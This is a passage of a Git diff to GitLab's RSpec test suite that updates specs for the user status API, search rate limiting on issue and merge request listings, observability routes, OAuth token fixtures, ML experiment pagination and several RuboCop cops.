- put api('/user/status', user), params: { emoji: 'smirk', message: 'hello world', clear_status_after: 'wrong' }
+ context 'when clear_status_after is invalid' do
+ let(:params) { { emoji: 'smirk', message: 'hello world', clear_status_after: 'invalid' } }
- expect(response).to have_gitlab_http_status(:bad_request)
+ it 'raises error when unknown status value is given' do
+ set_user_status
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ end
+ end
+ end
+
+ describe 'GET' do
+ let(:path) { '/user/status' }
+
+ it_behaves_like 'rendering user status'
+ end
+
+ describe 'PUT' do
+ subject(:set_user_status) { put api('/user/status', request_user), params: params }
+
+ include_examples '/user/status successful response'
+
+ include_examples '/user/status unsuccessful response'
+
+ include_examples '/user/status passing nil for params'
+
+ include_examples '/user/status clear_status_after field'
+
+ context 'when passing empty params' do
+ let(:request_user) { user_with_status }
+
+ it 'deletes the status' do
+ set_user_status
+
+ expect(response).to have_gitlab_http_status(:success)
+ expect(user_with_status.status).to be_nil
+ end
+ end
+
+ context 'when clear_status_after is not given' do
+ let(:params) { { emoji: 'smirk', message: 'hello world' } }
+ let(:request_user) { user_with_status }
+
+ it 'unsets clear_status_at column' do
+ set_user_status
+
+ expect(response).to have_gitlab_http_status(:success)
+ expect(user_with_status.status.clear_status_at).to be_nil
+ end
+ end
+ end
+
+ describe 'PATCH' do
+ subject(:set_user_status) { patch api('/user/status', request_user), params: params }
+
+ include_examples '/user/status successful response'
+
+ include_examples '/user/status unsuccessful response'
+
+ include_examples '/user/status passing nil for params'
+
+ include_examples '/user/status clear_status_after field'
+
+ context 'when passing empty params' do
+ let(:request_user) { user_with_status }
+
+ it 'does not update the status' do
+ set_user_status
+
+ expect(response).to have_gitlab_http_status(:success)
+ expect(user_with_status.status).to eq(user_status)
+ end
+ end
+
+ context 'when clear_status_after is not given' do
+ let(:params) { { emoji: 'smirk', message: 'hello world' } }
+ let(:request_user) { user_with_status }
+
+ it 'does not unset clear_status_at column' do
+ set_user_status
+
+ expect(response).to have_gitlab_http_status(:success)
+ expect(user_with_status.status.clear_status_at).not_to be_nil
+ end
end
end
end
diff --git a/spec/requests/dashboard_controller_spec.rb b/spec/requests/dashboard_controller_spec.rb
index 9edacb27c93..1c8ab843ebe 100644
--- a/spec/requests/dashboard_controller_spec.rb
+++ b/spec/requests/dashboard_controller_spec.rb
@@ -12,4 +12,32 @@ RSpec.describe DashboardController, feature_category: :authentication_and_author
let(:url) { issues_dashboard_url(:ics, assignee_username: user.username) }
end
end
+
+ context 'issues dashboard' do
+ it_behaves_like 'rate limited endpoint', rate_limit_key: :search_rate_limit do
+ let_it_be(:current_user) { create(:user) }
+
+ before do
+ sign_in current_user
+ end
+
+ def request
+ get issues_dashboard_path, params: { scope: 'all', search: 'test' }
+ end
+ end
+ end
+
+ context 'merge requests dashboard' do
+ it_behaves_like 'rate limited endpoint', rate_limit_key: :search_rate_limit do
+ let_it_be(:current_user) { create(:user) }
+
+ before do
+ sign_in current_user
+ end
+
+ def request
+ get merge_requests_dashboard_path, params: { scope: 'all', search: 'test' }
+ end
+ end
+ end
end
diff --git a/spec/requests/groups/observability_controller_spec.rb b/spec/requests/groups/observability_controller_spec.rb
index 46690d60539..471cad40c90 100644
--- a/spec/requests/groups/observability_controller_spec.rb
+++ b/spec/requests/groups/observability_controller_spec.rb
@@ -71,23 +71,16 @@ RSpec.describe Groups::ObservabilityController, feature_category: :tracing do
end
end
- describe 'GET #dashboards' do
- let(:path) { group_observability_dashboards_path(group) }
- let(:expected_observability_path) { "#{observability_url}/-/#{group.id}/" }
-
- it_behaves_like 'observability route request'
- end
-
- describe 'GET #manage' do
- let(:path) { group_observability_manage_path(group) }
- let(:expected_observability_path) { "#{observability_url}/-/#{group.id}/dashboards" }
+ describe 'GET #explore' do
+ let(:path) { group_observability_explore_path(group) }
+ let(:expected_observability_path) { "#{observability_url}/-/#{group.id}/explore" }
it_behaves_like 'observability route request'
end
- describe 'GET #explore' do
- let(:path) { group_observability_explore_path(group) }
- let(:expected_observability_path) { "#{observability_url}/-/#{group.id}/explore" }
+ describe 'GET #datasources' do
+ let(:path) { group_observability_datasources_path(group) }
+ let(:expected_observability_path) { "#{observability_url}/-/#{group.id}/datasources" }
it_behaves_like 'observability route request'
end
diff --git a/spec/requests/groups/usage_quotas_controller_spec.rb b/spec/requests/groups/usage_quotas_controller_spec.rb
index bddc95434ce..90fd08063f3 100644
--- a/spec/requests/groups/usage_quotas_controller_spec.rb
+++ b/spec/requests/groups/usage_quotas_controller_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Groups::UsageQuotasController, feature_category: :subscription_cost_management do
+RSpec.describe Groups::UsageQuotasController, :with_license, feature_category: :subscription_cost_management do
let_it_be(:group) { create(:group) }
let_it_be(:subgroup) { create(:group, parent: group) }
let_it_be(:user) { create(:user) }
diff --git a/spec/requests/openid_connect_spec.rb b/spec/requests/openid_connect_spec.rb
index b45f4f1e39f..49279024bd0 100644
--- a/spec/requests/openid_connect_spec.rb
+++ b/spec/requests/openid_connect_spec.rb
@@ -32,6 +32,7 @@ RSpec.describe 'OpenID Connect requests', feature_category: :authentication_and_
{
'name' => 'Alice',
'nickname' => 'alice',
+ 'preferred_username' => 'alice',
'email' => 'public@example.com',
'email_verified' => true,
'website' => 'https://example.com',
diff --git a/spec/requests/projects/issues_controller_spec.rb b/spec/requests/projects/issues_controller_spec.rb
index bbf200eaacd..67a73834f2d 100644
--- a/spec/requests/projects/issues_controller_spec.rb
+++ b/spec/requests/projects/issues_controller_spec.rb
@@ -8,10 +8,14 @@ RSpec.describe Projects::IssuesController, feature_category: :team_planning do
let_it_be(:project) { issue.project }
let_it_be(:user) { issue.author }
+ shared_context 'group project issue' do
+ let_it_be(:project) { create :project, group: group }
+ let_it_be(:issue) { create :issue, project: project }
+ let_it_be(:user) { create(:user) }
+ end
+
describe 'GET #new' do
- before do
- login_as(user)
- end
+ include_context 'group project issue'
it_behaves_like "observability csp policy", described_class do
let(:tested_path) do
@@ -21,9 +25,7 @@ RSpec.describe Projects::IssuesController, feature_category: :team_planning do
end
describe 'GET #show' do
- before do
- login_as(user)
- end
+ include_context 'group project issue'
it_behaves_like "observability csp policy", described_class do
let(:tested_path) do
@@ -32,13 +34,38 @@ RSpec.describe Projects::IssuesController, feature_category: :team_planning do
end
end
+ describe 'GET #index.json' do
+ let_it_be(:public_project) { create(:project, :public) }
+
+ it_behaves_like 'rate limited endpoint', rate_limit_key: :search_rate_limit do
+ let_it_be(:current_user) { create(:user) }
+
+ before do
+ sign_in current_user
+ end
+
+ def request
+ get project_issues_path(public_project, format: :json), params: { scope: 'all', search: 'test' }
+ end
+ end
+
+ it_behaves_like 'rate limited endpoint', rate_limit_key: :search_rate_limit_unauthenticated do
+ def request
+ get project_issues_path(public_project, format: :json), params: { scope: 'all', search: 'test' }
+ end
+ end
+ end
+
describe 'GET #discussions' do
before do
login_as(user)
end
let_it_be(:discussion) { create(:discussion_note_on_issue, noteable: issue, project: issue.project) }
- let_it_be(:discussion_reply) { create(:discussion_note_on_issue, noteable: issue, project: issue.project, in_reply_to: discussion) }
+ let_it_be(:discussion_reply) do
+ create(:discussion_note_on_issue, noteable: issue, project: issue.project, in_reply_to: discussion)
+ end
+
let_it_be(:state_event) { create(:resource_state_event, issue: issue) }
let_it_be(:discussion_2) { create(:discussion_note_on_issue, noteable: issue, project: issue.project) }
let_it_be(:discussion_3) { create(:discussion_note_on_issue, noteable: issue, project: issue.project) }
@@ -92,7 +119,8 @@ RSpec.describe Projects::IssuesController, feature_category: :team_planning do
context 'when private project' do
let_it_be(:private_project) { create(:project, :private) }
- it_behaves_like 'authenticates sessionless user for the request spec', 'index atom', public_resource: false, ignore_metrics: true do
+ it_behaves_like 'authenticates sessionless user for the request spec', 'index atom', public_resource: false,
+ignore_metrics: true do
let(:url) { project_issues_url(private_project, format: :atom) }
before do
@@ -100,7 +128,8 @@ RSpec.describe Projects::IssuesController, feature_category: :team_planning do
end
end
- it_behaves_like 'authenticates sessionless user for the request spec', 'calendar ics', public_resource: false, ignore_metrics: true do
+ it_behaves_like 'authenticates sessionless user for the request spec', 'calendar ics', public_resource: false,
+ignore_metrics: true do
let(:url) { project_issues_url(private_project, format: :ics) }
before do
diff --git a/spec/requests/projects/merge_requests/content_spec.rb b/spec/requests/projects/merge_requests/content_spec.rb
index 6c58dcb5722..54066756f3e 100644
--- a/spec/requests/projects/merge_requests/content_spec.rb
+++ b/spec/requests/projects/merge_requests/content_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'merge request content spec', feature_category: :code_review do
+RSpec.describe 'merge request content spec', feature_category: :code_review_workflow do
let_it_be(:project) { create(:project, :repository) }
let_it_be(:user) { create(:user) }
let_it_be(:merge_request) { create(:merge_request, :with_head_pipeline, target_project: project, source_project: project) }
diff --git a/spec/requests/projects/merge_requests/context_commit_diffs_spec.rb b/spec/requests/projects/merge_requests/context_commit_diffs_spec.rb
index 10e57970704..24e4dea5cdc 100644
--- a/spec/requests/projects/merge_requests/context_commit_diffs_spec.rb
+++ b/spec/requests/projects/merge_requests/context_commit_diffs_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge Requests Context Commit Diffs', feature_category: :code_review do
+RSpec.describe 'Merge Requests Context Commit Diffs', feature_category: :code_review_workflow do
let_it_be(:sha1) { "33f3729a45c02fc67d00adb1b8bca394b0e761d9" }
let_it_be(:project) { create(:project, :repository) }
let_it_be(:user) { create(:user) }
@@ -35,7 +35,6 @@ RSpec.describe 'Merge Requests Context Commit Diffs', feature_category: :code_re
commit: nil,
diff_view: :inline,
merge_ref_head_diff: nil,
- merge_conflicts_in_diff: true,
pagination_data: {
total_pages: nil
}.merge(pagination_data)
diff --git a/spec/requests/projects/merge_requests/creations_spec.rb b/spec/requests/projects/merge_requests/creations_spec.rb
index 59e2047e1c7..ace6ef0f7b8 100644
--- a/spec/requests/projects/merge_requests/creations_spec.rb
+++ b/spec/requests/projects/merge_requests/creations_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'merge requests creations', feature_category: :code_review do
+RSpec.describe 'merge requests creations', feature_category: :code_review_workflow do
describe 'GET /:namespace/:project/merge_requests/new' do
include ProjectForksHelper
@@ -26,14 +26,17 @@ RSpec.describe 'merge requests creations', feature_category: :code_review do
end
it_behaves_like "observability csp policy", Projects::MergeRequests::CreationsController do
+ let_it_be(:group) { create(:group) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project, group: group) }
let(:tested_path) do
project_new_merge_request_path(project, merge_request: {
- title: 'Some feature',
- source_branch: 'fix',
- target_branch: 'feature',
- target_project: project,
- source_project: project
- })
+ title: 'Some feature',
+ source_branch: 'fix',
+ target_branch: 'feature',
+ target_project: project,
+ source_project: project
+ })
end
end
end
diff --git a/spec/requests/projects/merge_requests/diffs_spec.rb b/spec/requests/projects/merge_requests/diffs_spec.rb
index 858acac7f0d..f98688bf767 100644
--- a/spec/requests/projects/merge_requests/diffs_spec.rb
+++ b/spec/requests/projects/merge_requests/diffs_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge Requests Diffs', feature_category: :code_review do
+RSpec.describe 'Merge Requests Diffs', feature_category: :code_review_workflow do
let_it_be(:project) { create(:project, :repository) }
let_it_be(:user) { create(:user) }
let_it_be(:merge_request) { create(:merge_request_with_diffs, target_project: project, source_project: project) }
@@ -33,7 +33,6 @@ RSpec.describe 'Merge Requests Diffs', feature_category: :code_review do
commit: nil,
diff_view: :inline,
merge_ref_head_diff: nil,
- merge_conflicts_in_diff: true,
pagination_data: {
total_pages: nil
}.merge(pagination_data)
@@ -112,17 +111,6 @@ RSpec.describe 'Merge Requests Diffs', feature_category: :code_review do
it_behaves_like 'serializes diffs with expected arguments'
end
- context 'with disabled display_merge_conflicts_in_diff feature' do
- let(:collection) { Gitlab::Diff::FileCollection::MergeRequestDiffBatch }
- let(:expected_options) { collection_arguments(total_pages: 20).merge(merge_conflicts_in_diff: false) }
-
- before do
- stub_feature_flags(display_merge_conflicts_in_diff: false)
- end
-
- it_behaves_like 'serializes diffs with expected arguments'
- end
-
context 'with diff_head option' do
subject { go(page: 0, per_page: 5, diff_head: true) }
diff --git a/spec/requests/projects/merge_requests_controller_spec.rb b/spec/requests/projects/merge_requests_controller_spec.rb
index f5f8b5c2d83..f441438a95a 100644
--- a/spec/requests/projects/merge_requests_controller_spec.rb
+++ b/spec/requests/projects/merge_requests_controller_spec.rb
@@ -8,20 +8,65 @@ RSpec.describe Projects::MergeRequestsController, feature_category: :source_code
let_it_be(:user) { merge_request.author }
describe 'GET #show' do
- before do
- login_as(user)
+ let_it_be(:group) { create(:group) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project, :public, group: group) }
+
+ let(:merge_request) { create :merge_request, source_project: project, author: user }
+
+ context 'when logged in' do
+ before do
+ login_as(user)
+ end
+
+ it_behaves_like "observability csp policy", described_class do
+ let(:tested_path) do
+ project_merge_request_path(project, merge_request)
+ end
+ end
+ end
+
+ context 'when the author of the merge request is banned', feature_category: :insider_threat do
+ let_it_be(:user) { create(:user, :banned) }
+
+ subject { response }
+
+ before do
+ get project_merge_request_path(project, merge_request)
+ end
+
+ it { is_expected.to have_gitlab_http_status(:not_found) }
+ end
+ end
+
+ describe 'GET #index' do
+ let_it_be(:public_project) { create(:project, :public) }
+
+ it_behaves_like 'rate limited endpoint', rate_limit_key: :search_rate_limit do
+ let_it_be(:current_user) { user }
+
+ before do
+ sign_in current_user
+ end
+
+ def request
+ get project_merge_requests_path(public_project), params: { scope: 'all', search: 'test' }
+ end
end
- it_behaves_like "observability csp policy", described_class do
- let(:tested_path) do
- project_merge_request_path(project, merge_request)
+ it_behaves_like 'rate limited endpoint', rate_limit_key: :search_rate_limit_unauthenticated do
+ def request
+ get project_merge_requests_path(public_project), params: { scope: 'all', search: 'test' }
end
end
end
describe 'GET #discussions' do
let_it_be(:discussion) { create(:discussion_note_on_merge_request, noteable: merge_request, project: project) }
- let_it_be(:discussion_reply) { create(:discussion_note_on_merge_request, noteable: merge_request, project: project, in_reply_to: discussion) }
+ let_it_be(:discussion_reply) do
+ create(:discussion_note_on_merge_request, noteable: merge_request, project: project, in_reply_to: discussion)
+ end
+
let_it_be(:state_event) { create(:resource_state_event, merge_request: merge_request) }
let_it_be(:discussion_2) { create(:discussion_note_on_merge_request, noteable: merge_request, project: project) }
let_it_be(:discussion_3) { create(:diff_note_on_merge_request, noteable: merge_request, project: project) }
@@ -60,22 +105,6 @@ RSpec.describe Projects::MergeRequestsController, feature_category: :source_code
expect(discussions.count).to eq(1)
expect(notes).to match([a_hash_including('id' => discussion_2.id.to_s)])
end
-
- context 'when paginated_mr_discussions is disabled' do
- before do
- stub_feature_flags(paginated_mr_discussions: false)
- end
-
- it 'returns all discussions and ignores per_page param' do
- get_discussions(per_page: 2)
-
- discussions = Gitlab::Json.parse(response.body)
- notes = discussions.flat_map { |d| d['notes'] }
-
- expect(discussions.count).to eq(4)
- expect(notes.count).to eq(5)
- end
- end
end
end
@@ -91,7 +120,8 @@ RSpec.describe Projects::MergeRequestsController, feature_category: :source_code
context 'when private project' do
let_it_be(:private_project) { create(:project, :private) }
- it_behaves_like 'authenticates sessionless user for the request spec', 'index atom', public_resource: false, ignore_metrics: true do
+ it_behaves_like 'authenticates sessionless user for the request spec', 'index atom', public_resource: false,
+ ignore_metrics: true do
let(:url) { project_merge_requests_url(private_project, format: :atom) }
before do
diff --git a/spec/requests/projects/ml/candidates_controller_spec.rb b/spec/requests/projects/ml/candidates_controller_spec.rb
index 4a0fd1ce4f5..d3f9d92bc44 100644
--- a/spec/requests/projects/ml/candidates_controller_spec.rb
+++ b/spec/requests/projects/ml/candidates_controller_spec.rb
@@ -9,7 +9,6 @@ RSpec.describe Projects::Ml::CandidatesController, feature_category: :mlops do
let_it_be(:candidate) { create(:ml_candidates, experiment: experiment, user: user) }
let(:ff_value) { true }
- let(:threshold) { 4 }
let(:candidate_iid) { candidate.iid }
before do
@@ -40,14 +39,13 @@ RSpec.describe Projects::Ml::CandidatesController, feature_category: :mlops do
expect(response).to render_template('projects/ml/candidates/show')
end
- # MR removing this xit https://gitlab.com/gitlab-org/gitlab/-/merge_requests/104166
- xit 'does not perform N+1 sql queries' do
- control_count = ActiveRecord::QueryRecorder.new { show_candidate }
+ it 'does not perform N+1 sql queries' do
+ control_count = ActiveRecord::QueryRecorder.new(skip_cached: false) { show_candidate }
create_list(:ml_candidate_params, 3, candidate: candidate)
create_list(:ml_candidate_metrics, 3, candidate: candidate)
- expect { show_candidate }.not_to exceed_all_query_limit(control_count).with_threshold(threshold)
+ expect { show_candidate }.not_to exceed_all_query_limit(control_count)
end
context 'when candidate does not exist' do
diff --git a/spec/requests/projects/ml/experiments_controller_spec.rb b/spec/requests/projects/ml/experiments_controller_spec.rb
index f35f93b1e6c..e8b6f806251 100644
--- a/spec/requests/projects/ml/experiments_controller_spec.rb
+++ b/spec/requests/projects/ml/experiments_controller_spec.rb
@@ -68,24 +68,59 @@ RSpec.describe Projects::Ml::ExperimentsController, feature_category: :mlops do
describe 'GET show' do
let(:params) { basic_params.merge(id: experiment.iid) }
- before do
+ it 'renders the template' do
show_experiment
- end
- it 'renders the template' do
expect(response).to render_template('projects/ml/experiments/show')
end
- # MR removing this xit https://gitlab.com/gitlab-org/gitlab/-/merge_requests/104166
- xit 'does not perform N+1 sql queries' do
- control_count = ActiveRecord::QueryRecorder.new { show_experiment }
+ describe 'pagination' do
+ let_it_be(:candidates) { create_list(:ml_candidates, 5, experiment: experiment) }
+
+ before do
+ stub_const("Projects::Ml::ExperimentsController::MAX_CANDIDATES_PER_PAGE", 2)
+ candidates
+
+ show_experiment
+ end
+
+ context 'when out of bounds' do
+ let(:params) { basic_params.merge(id: experiment.iid, page: 10000) }
+
+ it 'redirects to last page' do
+ last_page = (experiment.candidates.size + 1) / 2
+
+ expect(response).to redirect_to(project_ml_experiment_path(project, experiment.iid, page: last_page))
+ end
+ end
+
+ context 'when bad page' do
+ let(:params) { basic_params.merge(id: experiment.iid, page: 's') }
+
+ it 'uses first page' do
+ expect(assigns(:pagination)).to include(
+ page: 1,
+ is_last_page: false,
+ per_page: 2,
+ total_items: experiment.candidates&.size
+ )
+ end
+ end
+ end
+
+ it 'does not perform N+1 sql queries' do
+ control_count = ActiveRecord::QueryRecorder.new(skip_cached: false) { show_experiment }
create_list(:ml_candidates, 2, :with_metrics_and_params, experiment: experiment)
- expect { show_experiment }.not_to exceed_all_query_limit(control_count).with_threshold(threshold)
+ expect { show_experiment }.not_to exceed_all_query_limit(control_count)
end
- it_behaves_like '404 if feature flag disabled'
+ it_behaves_like '404 if feature flag disabled' do
+ before do
+ show_experiment
+ end
+ end
end
private
diff --git a/spec/requests/projects_controller_spec.rb b/spec/requests/projects_controller_spec.rb
index f08f3578dc0..613f528e8c2 100644
--- a/spec/requests/projects_controller_spec.rb
+++ b/spec/requests/projects_controller_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe ProjectsController, feature_category: :projects do
+RSpec.describe ProjectsController, :with_license, feature_category: :projects do
context 'token authentication' do
context 'when public project' do
let_it_be(:public_project) { create(:project, :public) }
diff --git a/spec/requests/pwa_controller_spec.rb b/spec/requests/pwa_controller_spec.rb
index 3971790c094..a80d083c11f 100644
--- a/spec/requests/pwa_controller_spec.rb
+++ b/spec/requests/pwa_controller_spec.rb
@@ -8,12 +8,13 @@ RSpec.describe PwaController, feature_category: :navigation do
get manifest_path(format: :json)
expect(response.body).to include('The complete DevOps platform.')
+ expect(Gitlab::Json.parse(response.body)).to include({ 'short_name' => 'GitLab' })
expect(response).to have_gitlab_http_status(:success)
end
context 'with customized appearance' do
let_it_be(:appearance) do
- create(:appearance, title: 'Long name', short_title: 'Short name', description: 'This is a test')
+ create(:appearance, title: 'Long name', pwa_short_name: 'Short name', description: 'This is a test')
end
it 'uses custom values', :aggregate_failures do
@@ -27,6 +28,23 @@ RSpec.describe PwaController, feature_category: :navigation do
expect(response).to have_gitlab_http_status(:success)
end
end
+
+ context 'when user is signed in' do
+ before do
+ user = create(:user)
+ allow(user).to receive(:role_required?).and_return(true)
+
+ sign_in(user)
+ end
+
+ it 'skips the required signup info storing of user location' do
+ expect_next_instance_of(described_class) do |instance|
+ expect(instance).not_to receive(:store_location_for).with(:user, manifest_path(format: :json))
+ end
+
+ get manifest_path(format: :json)
+ end
+ end
end
describe 'GET #offline' do
diff --git a/spec/requests/rack_attack_global_spec.rb b/spec/requests/rack_attack_global_spec.rb
index 643a98da441..91595f7826a 100644
--- a/spec/requests/rack_attack_global_spec.rb
+++ b/spec/requests/rack_attack_global_spec.rb
@@ -143,11 +143,11 @@ feature_category: :authentication_and_authorization do
describe 'API requests authenticated with OAuth token', :api do
let(:user) { create(:user) }
let(:application) { Doorkeeper::Application.create!(name: "MyApp", redirect_uri: "https://app.com", owner: user) }
- let(:token) { Doorkeeper::AccessToken.create!(application_id: application.id, resource_owner_id: user.id, scopes: "api") }
+ let(:token) { create(:oauth_access_token, application_id: application.id, resource_owner_id: user.id, scopes: "api", expires_in: period_in_seconds + 1) }
let(:other_user) { create(:user) }
let(:other_user_application) { Doorkeeper::Application.create!(name: "MyApp", redirect_uri: "https://app.com", owner: other_user) }
- let(:other_user_token) { Doorkeeper::AccessToken.create!(application_id: application.id, resource_owner_id: other_user.id, scopes: "api") }
+ let(:other_user_token) { create(:oauth_access_token, application_id: application.id, resource_owner_id: other_user.id, scopes: "api") }
let(:throttle_setting_prefix) { 'throttle_authenticated_api' }
let(:api_partial_url) { '/todos' }
@@ -167,8 +167,8 @@ feature_category: :authentication_and_authorization do
end
context 'with a read_api scope' do
- let(:read_token) { Doorkeeper::AccessToken.create!(application_id: application.id, resource_owner_id: user.id, scopes: "read_api") }
- let(:other_user_read_token) { Doorkeeper::AccessToken.create!(application_id: other_user_application.id, resource_owner_id: other_user.id, scopes: "read_api") }
+ let(:read_token) { create(:oauth_access_token, application_id: application.id, resource_owner_id: user.id, scopes: "read_api", expires_in: period_in_seconds + 1) }
+ let(:other_user_read_token) { create(:oauth_access_token, application_id: other_user_application.id, resource_owner_id: other_user.id, scopes: "read_api") }
let(:request_args) { api_get_args_with_token_headers(api_partial_url, oauth_token_headers(read_token)) }
let(:other_user_request_args) { api_get_args_with_token_headers(api_partial_url, oauth_token_headers(other_user_read_token)) }
@@ -1202,7 +1202,7 @@ feature_category: :authentication_and_authorization do
context 'authenticated with OAuth token' do
let(:application) { Doorkeeper::Application.create!(name: "MyApp", redirect_uri: "https://app.com", owner: user) }
- let(:oauth_token) { Doorkeeper::AccessToken.create!(application_id: application.id, resource_owner_id: user.id, scopes: "api") }
+ let(:oauth_token) { create(:oauth_access_token, application_id: application.id, resource_owner_id: user.id, scopes: "api", expires_in: period_in_seconds + 1) }
it 'request is authenticated by token in query string' do
expect_authenticated_request
diff --git a/spec/requests/users_controller_spec.rb b/spec/requests/users_controller_spec.rb
index 608284c05f3..11d8be24e06 100644
--- a/spec/requests/users_controller_spec.rb
+++ b/spec/requests/users_controller_spec.rb
@@ -464,6 +464,18 @@ RSpec.describe UsersController, feature_category: :user_management do
expect(response.body).not_to be_empty
end
+ it 'renders the correct url for issues and work items' do
+ work_item = create(:work_item, :task, project: project)
+ issue = create(:issue, project: project)
+ EventCreateService.new.open_issue(work_item, public_user)
+ EventCreateService.new.open_issue(issue, public_user)
+
+ get user_calendar_activities_url public_user.username
+
+ expect(response.body).to include(project_work_items_path(project, work_item.iid, iid_path: true))
+ expect(response.body).to include(project_issue_path(project, issue))
+ end
+
it 'avoids N+1 queries', :request_store do
get user_calendar_activities_url public_user.username
diff --git a/spec/routing/group_routing_spec.rb b/spec/routing/group_routing_spec.rb
index 54fbe9e962d..3ba7d5ad871 100644
--- a/spec/routing/group_routing_spec.rb
+++ b/spec/routing/group_routing_spec.rb
@@ -72,16 +72,12 @@ RSpec.shared_examples 'groups routing' do
expect(get("groups/#{group_path}/-/harbor/repositories/test/artifacts/test/tags")).to route_to('groups/harbor/tags#index', group_id: group_path, repository_id: 'test', artifact_id: 'test')
end
- it 'routes to the observability controller dashboards method' do
- expect(get("groups/#{group_path}/-/observability/dashboards")).to route_to('groups/observability#dashboards', group_id: group_path)
- end
-
it 'routes to the observability controller explore method' do
expect(get("groups/#{group_path}/-/observability/explore")).to route_to('groups/observability#explore', group_id: group_path)
end
- it 'routes to the observability controller manage method' do
- expect(get("groups/#{group_path}/-/observability/manage")).to route_to('groups/observability#manage', group_id: group_path)
+ it 'routes to the observability controller datasources method' do
+ expect(get("groups/#{group_path}/-/observability/datasources")).to route_to('groups/observability#datasources', group_id: group_path)
end
it 'routes to the usage quotas controller' do
diff --git a/spec/rubocop/check_graceful_task_spec.rb b/spec/rubocop/check_graceful_task_spec.rb
index c39a00470fd..38c2d68a593 100644
--- a/spec/rubocop/check_graceful_task_spec.rb
+++ b/spec/rubocop/check_graceful_task_spec.rb
@@ -68,7 +68,7 @@ RSpec.describe RuboCop::CheckGracefulTask do
let(:user_name) { 'GitLab Bot' }
let(:job_name) { 'some job name' }
let(:job_url) { 'some job url' }
- let(:docs_link) { 'https://docs.gitlab.com/ee/development/contributing/style_guides.html#silenced-offenses' }
+ let(:docs_link) { 'https://docs.gitlab.com/ee/development/rubocop_development_guide.html#silenced-offenses' }
before do
env = {
diff --git a/spec/rubocop/cop/background_migration/feature_category_spec.rb b/spec/rubocop/cop/background_migration/feature_category_spec.rb
new file mode 100644
index 00000000000..359520b1d9f
--- /dev/null
+++ b/spec/rubocop/cop/background_migration/feature_category_spec.rb
@@ -0,0 +1,71 @@
+# frozen_string_literal: true
+
+require 'rubocop_spec_helper'
+require_relative '../../../../rubocop/cop/background_migration/feature_category'
+
+RSpec.describe RuboCop::Cop::BackgroundMigration::FeatureCategory, feature_category: :database do
+ let(:cop) { described_class.new }
+
+ context 'for non background migrations' do
+ before do
+ allow(cop).to receive(:in_background_migration?).and_return(false)
+ end
+
+ it 'does not throw any offense' do
+ expect_no_offenses(<<~RUBY)
+ module Gitlab
+ module BackgroundMigration
+ class MyJob < Gitlab::BackgroundMigration::BatchedMigrationJob
+ def perform; end
+ end
+ end
+ end
+ RUBY
+ end
+ end
+
+ context 'for background migrations' do
+ before do
+ allow(cop).to receive(:in_background_migration?).and_return(true)
+ end
+
+ it 'throws offense on not defining the feature_category' do
+ expect_offense(<<~RUBY)
+ module Gitlab
+ module BackgroundMigration
+ class MyJob1 < Gitlab::BackgroundMigration::BatchedMigrationJob
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ #{described_class::MSG}
+ end
+ end
+ end
+ RUBY
+ end
+
+ it 'throws offense on not defining a valid feature_category' do
+ expect_offense(<<~RUBY)
+ module Gitlab
+ module BackgroundMigration
+ class MyJob1 < Gitlab::BackgroundMigration::BatchedMigrationJob
+ feature_category :invalid_random
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ #{described_class::INVALID_FEATURE_CATEGORY_MSG}
+ end
+ end
+ end
+ RUBY
+ end
+
+ it 'will not throw offense on defining a valid feature_category' do
+ expect_no_offenses(<<~RUBY)
+ module Gitlab
+ module BackgroundMigration
+ class MyJob < Gitlab::BackgroundMigration::BatchedMigrationJob
+ feature_category :database
+
+ def perform; end
+ end
+ end
+ end
+ RUBY
+ end
+ end
+end
diff --git a/spec/rubocop/cop/gitlab/strong_memoize_attr_spec.rb b/spec/rubocop/cop/gitlab/strong_memoize_attr_spec.rb
index 0ed699f4e8c..fde53f8f98c 100644
--- a/spec/rubocop/cop/gitlab/strong_memoize_attr_spec.rb
+++ b/spec/rubocop/cop/gitlab/strong_memoize_attr_spec.rb
@@ -11,7 +11,7 @@ RSpec.describe RuboCop::Cop::Gitlab::StrongMemoizeAttr do
class Foo
def memoized_method
strong_memoize(:memoized_method) do
- ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Use `strong_memoize_attr`, instead of using `strong_memoize` directly
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Use `strong_memoize_attr`, instead of using `strong_memoize` directly.
'This is a memoized method'
end
end
@@ -35,7 +35,7 @@ RSpec.describe RuboCop::Cop::Gitlab::StrongMemoizeAttr do
class Foo
def enabled?
strong_memoize(:enabled) do
- ^^^^^^^^^^^^^^^^^^^^^^^^ Use `strong_memoize_attr`, instead of using `strong_memoize` directly
+ ^^^^^^^^^^^^^^^^^^^^^^^^ Use `strong_memoize_attr`, instead of using `strong_memoize` directly.
true
end
end
@@ -47,7 +47,7 @@ RSpec.describe RuboCop::Cop::Gitlab::StrongMemoizeAttr do
def enabled?
true
end
- strong_memoize_attr :enabled?, :enabled
+ strong_memoize_attr :enabled?
end
RUBY
end
@@ -62,7 +62,7 @@ RSpec.describe RuboCop::Cop::Gitlab::StrongMemoizeAttr do
msg = 'This is a memoized method'
strong_memoize(:memoized_method) do
- ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Use `strong_memoize_attr`, instead of using `strong_memoize` directly
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Use `strong_memoize_attr`, instead of using `strong_memoize` directly.
msg
end
end
@@ -72,4 +72,32 @@ RSpec.describe RuboCop::Cop::Gitlab::StrongMemoizeAttr do
expect_no_corrections
end
end
+
+ context 'when strong_memoize() is used in a method with parameters' do
+ it 'does not register an offense' do
+ expect_no_offenses(<<~RUBY)
+ class Foo
+ def memoized_method(param)
+ strong_memoize(:memoized_method) do
+ param.to_s
+ end
+ end
+ end
+ RUBY
+ end
+ end
+
